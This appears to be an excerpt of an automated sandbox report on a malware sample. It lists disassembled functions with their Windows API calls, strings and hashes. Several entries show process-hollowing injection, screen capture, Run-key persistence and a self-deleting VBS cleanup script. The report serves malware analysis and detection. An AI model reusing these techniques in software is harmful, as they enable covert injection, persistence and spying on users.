                                            • Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769
                                            Function 004520C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorInfoLastLocale$_free$_abort
                                            • String ID:
                                            • API String ID: 2829624132-0
                                            • Opcode ID: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                                            • Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
                                            • Opcode Fuzzy Hash: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                                            • Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58
                                            Function 0043BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • IsDebuggerPresent.KERNEL32 ref: 0043BC1A
                                            • SetUnhandledExceptionFilter.KERNEL32 ref: 0043BC24
                                            • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                            • String ID:
                                            • API String ID: 3906539128-0
                                            • Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                                            • Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
                                            • Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                                            • Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48
                                            Function 004432B5 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcess.KERNEL32(?,?,0044328B,?), ref: 004432D6
                                            • TerminateProcess.KERNEL32(00000000,?,0044328B,?), ref: 004432DD
                                            • ExitProcess.KERNEL32 ref: 004432EF
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CurrentExitTerminate
                                            • String ID:
                                            • API String ID: 1703294689-0
                                            • Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                                            • Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
                                            • Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                                            • Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98
                                            Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Clipboard$CloseDataOpen
                                            • String ID:
                                            • API String ID: 2058664381-0
                                            • Opcode ID: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                                            • Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
                                            • Opcode Fuzzy Hash: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                                            • Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD
                                            Function 0044E879 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: .
                                            • API String ID: 0-248832578
                                            • Opcode ID: 467a2b870f27eeaba5f3d85303d6c443c91537f9433fd9512f86f3d9895b4a39
                                            • Instruction ID: 28de479bcd0ee174bbf7ea2f8c467f6584cf945aa63ddb2e5cfeaaf716254919
                                            • Opcode Fuzzy Hash: 467a2b870f27eeaba5f3d85303d6c443c91537f9433fd9512f86f3d9895b4a39
                                            • Instruction Fuzzy Hash: 233106B2900149AFEB249E7ACC85EEB7BBDEF45304F1001AEE819D7291E6349D458B54
                                            Function 00451F9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                            • EnumSystemLocalesW.KERNEL32(004520C3,00000001,00000000,?,lJD,?,004526F0,00000000,?,?,?), ref: 0045200D
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                            • String ID: lJD
                                            • API String ID: 1084509184-3316369744
                                            • Opcode ID: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                                            • Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
                                            • Opcode Fuzzy Hash: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                                            • Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44
                                            Function 00452036 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                            • EnumSystemLocalesW.KERNEL32(00452313,00000001,?,?,lJD,?,004526B4,lJD,?,?,?,?,?,00444A6C,?,?), ref: 00452082
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                            • String ID: lJD
                                            • API String ID: 1084509184-3316369744
                                            • Opcode ID: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                                            • Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
                                            • Opcode Fuzzy Hash: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                                            • Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604
                                            Function 004488ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InfoLocale
                                            • String ID: GetLocaleInfoEx
                                            • API String ID: 2299586839-2904428671
                                            • Opcode ID: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                                            • Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
                                            • Opcode Fuzzy Hash: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                                            • Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E
                                            Function 00412077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                                            • HeapFree.KERNEL32(00000000), ref: 004120EE
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$FreeProcess
                                            • String ID:
                                            • API String ID: 3859560861-0
                                            • Opcode ID: f8b7229bde56183a56125516245bdcff620dba8344b2748e8b36a977d3a4176b
                                            • Instruction ID: eee285bae3a3c664d400e4c5f5e220380537cd22e0998a3ce94cd1697e41dfe3
                                            • Opcode Fuzzy Hash: f8b7229bde56183a56125516245bdcff620dba8344b2748e8b36a977d3a4176b
                                            • Instruction Fuzzy Hash: 16112A32000B11EFC7305F64DE85957BBE9FF08715314892EE29696921CB76FCA0CB58
                                            Function 00434C52 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                                            Download Yara Rule
                                            APIs
                                            • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00434C6B
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FeaturePresentProcessor
                                            • String ID:
                                            • API String ID: 2325560087-0
                                            • Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                                            • Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
                                            • Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                                            • Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94
                                            Function 00452313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$_free$InfoLocale_abort
                                            • String ID:
                                            • API String ID: 1663032902-0
                                            • Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                                            • Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
                                            • Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                                            • Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58
                                            Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                            • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$InfoLocale_abort_free
                                            • String ID:
                                            • API String ID: 2692324296-0
                                            • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                                            • Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
                                            • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                                            • Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698
                                            Function 00448404 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(-0006D41D,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                                            • EnumSystemLocalesW.KERNEL32(004483BE,00000001,0046EAD0,0000000C), ref: 0044843C
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalEnterEnumLocalesSectionSystem
                                            • String ID:
                                            • API String ID: 1272433827-0
                                            • Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                                            • Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
                                            • Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                                            • Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09
                                            Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                            • EnumSystemLocalesW.KERNEL32(00451EA7,00000001,?,?,?,00452712,lJD,?,?,?,?,?,00444A6C,?,?,?), ref: 00451F87
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                            • String ID:
                                            • API String ID: 1084509184-0
                                            • Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                                            • Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
                                            • Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                                            • Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754
                                            Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.1.0 Pro), ref: 0040F8E5
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InfoLocale
                                            • String ID:
                                            • API String ID: 2299586839-0
                                            • Opcode ID: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                                            • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                                            • Opcode Fuzzy Hash: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                                            • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                                            Function 00418E76 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
                                            • CreateCompatibleDC.GDI32(00000000), ref: 00418E9D
                                              • Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355
                                            • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
                                            • DeleteDC.GDI32(00000000), ref: 00418F2A
                                            • DeleteDC.GDI32(00000000), ref: 00418F2D
                                            • DeleteObject.GDI32(00000000), ref: 00418F30
                                            • SelectObject.GDI32(00000000,00000000), ref: 00418F51
                                            • DeleteDC.GDI32(00000000), ref: 00418F62
                                            • DeleteDC.GDI32(00000000), ref: 00418F65
                                            • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
                                            • GetIconInfo.USER32 ref: 00418FBD
                                            • DeleteObject.GDI32(?), ref: 00418FEC
                                            • DeleteObject.GDI32(?), ref: 00418FF9
                                            • DrawIcon.USER32(00000000,?,?,?), ref: 00419006
                                            • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
                                            • GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
                                            • LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
                                            • GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
                                            • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
                                            • DeleteDC.GDI32(?), ref: 0041917C
                                            • DeleteDC.GDI32(00000000), ref: 0041917F
                                            • DeleteObject.GDI32(00000000), ref: 00419182
                                            • GlobalFree.KERNEL32(?), ref: 0041918D
                                            • DeleteObject.GDI32(00000000), ref: 00419241
                                            • GlobalFree.KERNEL32(?), ref: 00419248
                                            • DeleteDC.GDI32(?), ref: 00419258
                                            • DeleteDC.GDI32(00000000), ref: 00419263
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                                            • String ID: DISPLAY
                                            • API String ID: 479521175-865373369
                                            • Opcode ID: fd3515ee385558d8e943bffbf3e4feffdcfed35a1f0292415d45ed89f267a670
                                            • Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
                                            • Opcode Fuzzy Hash: fd3515ee385558d8e943bffbf3e4feffdcfed35a1f0292415d45ed89f267a670
                                            • Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A
                                            Function 004180EF Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                                            • GetProcAddress.KERNEL32(00000000), ref: 00418139
                                            • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                                            • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                                            • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                                            • GetProcAddress.KERNEL32(00000000), ref: 00418161
                                            • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                                            • GetProcAddress.KERNEL32(00000000), ref: 00418175
                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                                            • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                                            • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                                            • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                                            • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                                            • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                                            • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                                            • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                                            • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                                            • ResumeThread.KERNEL32(?), ref: 00418435
                                            • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                                            • GetCurrentProcess.KERNEL32(?), ref: 00418457
                                            • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                                            • GetLastError.KERNEL32 ref: 0041847A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                            • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                            • API String ID: 4188446516-3035715614
                                            • Opcode ID: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                                            • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                                            • Opcode Fuzzy Hash: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                                            • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                                            Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                              • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                                            • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                                            • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                                              • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                                              • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                              • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                                              • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                                            • ExitProcess.KERNEL32 ref: 0040D7D0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                            • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                            • API String ID: 1861856835-332907002
                                            • Opcode ID: e9f8996b9413f065d588b702d7c496c9e290e02a5e9f4f4bb55cf67c86df2bed
                                            • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                                            • Opcode Fuzzy Hash: e9f8996b9413f065d588b702d7c496c9e290e02a5e9f4f4bb55cf67c86df2bed
                                            • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                                            Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                              • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
